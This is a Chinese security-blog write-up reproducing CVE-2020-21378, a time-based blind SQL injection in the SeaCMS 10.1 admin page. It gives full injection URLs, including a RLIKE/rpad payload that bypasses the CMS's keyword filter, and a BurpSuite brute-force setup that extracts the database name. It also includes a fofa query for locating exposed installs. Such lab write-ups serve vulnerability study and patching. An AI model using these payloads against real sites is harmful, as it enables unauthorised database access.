freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞
FreeBuf_381213 2022-01-14 21:40:51 220854
所属地 北京

0x00 漏洞介绍

SeaCMS 10.1 (2020.02.08)存在SQL注入漏洞。攻击者可通过对admin_members_group.php的编辑操作中的id参数利用该漏洞进行SQL注入攻击。

0x01 漏洞环境

  • 攻击机:192.168.91.1 windows10

  • 目标机:192.168.91.142 Ubuntu 18.04-server(64)

  • 工具:火狐浏览器、BurpSuite2021

  • SeaCMS版本:10.1

0x02 漏洞搭建

phpstudy一键搭建。

seacms v10.1从网上找了半天,都是收费的。给我人整麻了,现在的黑客精神哟,开源共享已经凋零。

找了半天,终于在https://www.62ym.com/31570.html这里找到了,看看人家这个网站!免费!

为了方便,我将这个源码传到了我的github里面,供大家学习研究。

https://github.com/sukusec301/SeaCMS-v10.1

0x03 影响范围

SEACMS SeaCMS 10.1(2020.02.08)

fofa:app="海洋cms"

0x04 漏洞条件

1、需要找到后台入口,因为seacms一旦搭建成功,后台目录会随机变成一个名字

2、黑盒不好做,白盒审计

3、有点鸡肋,都登陆后台了,还看数据库信息干啥,。。。

0x05 漏洞原理

1、通过代码审计,在/kk4x47/admin_members_groups.php中(注意:当此Seacms搭建网站成功时,网站后台目录名称会随机变化,这里为kk4x47

第55行变量$id拼接成SQL查询,跟进GetOne函数,使用checksql函数过滤SQL注入的变量关键词,可以利用RLIKE正则注入来替换sleep(5)从而绕过函数的过滤,最终造成延时盲注。

image-20220114190145873

2、构造payload,payload注意,因为我的数据库用户名为seacms,所以我user()那里写的是s

  • 初始写一个简单的时间盲注语句

http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2 and if(mid(user(),1,1)='s',sleep(5),1)	#sleep无效
  • 使用RLIKE正则注入语句代替sleep(5)

正则注入语句为下方代码。其中最后的b'b可以为任意的字符。

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

代替后

http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2 and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1)
  • URL编码,形成最终的payload

http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2%20and%20if(mid(user()%2c1%2c1)%3d%27s%27%2cconcat(rpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27))%20rlike%20%27(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bsuibianxiema%27%2c1)

0x06 漏洞复现

1、网站搭建成功后,访问后台并且登陆网站后台http://192.168.91.142/kk4x47/,点击用户。

image-20220114201130649

2、再点击左边的用户组管理,你会发现,URL一直是http://192.168.91.142/kk4x47/#

image-20220114201213571

3、不慌,打开BurpSuite抓包,点击右边的“编辑”,就能看到真实的URL了,而同时,SQL注入就在这个地方。

image-20220114201457780

4、将URL拷贝下来,打开Hackbar放入

image-20220114201900733

5、将初始的时间盲注sleep(5)语句放入,发现无效果。

image-20220114203936114

6、用RLIKE正则替换一下后的最终payload,发现时间变长了,延时注入成功。

image-20220114202731919

7、接下来就是爆破库名的时候了,其实也可以通过DNS外带。不过DNS外带是有条件的,因为我是windows系统搭建,理论上可以实现,如果是Linux系统,就无法实现了。但是这个环境,只能是时间盲注,无法进行联合查询,所以还是无法DNS外带。只能使用BurpSuite的爆破,将数据库名爆破出来。

  • 第一个变量为mid的那个1,第二个变量为对应数据库名称的字符

image-20220114210359220

  • 设置字典1

1
2
3
4
5
6
7
8
9
10
  • 设置字典2

q
w
e
r
t
y
u
i
o
p
a
s
d
f
g
h
j
k
l
z
x
c
v
b
n
m
  • 开始爆破,整理长度结果得出seacms

image-20220114211500572

0x07 漏洞修复建议

升级cms版本至11

# 渗透测试 # web安全 # 漏洞分析
本文为 FreeBuf_381213 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_381213 LV.3
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 4 关注者
CVE-2021-31760 Webmin 跨站请求伪造漏洞
2022-06-17
内网渗透 | 正向代理与nginx配置反向代理详解
2022-06-17
CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞复现
2022-01-14
文章目录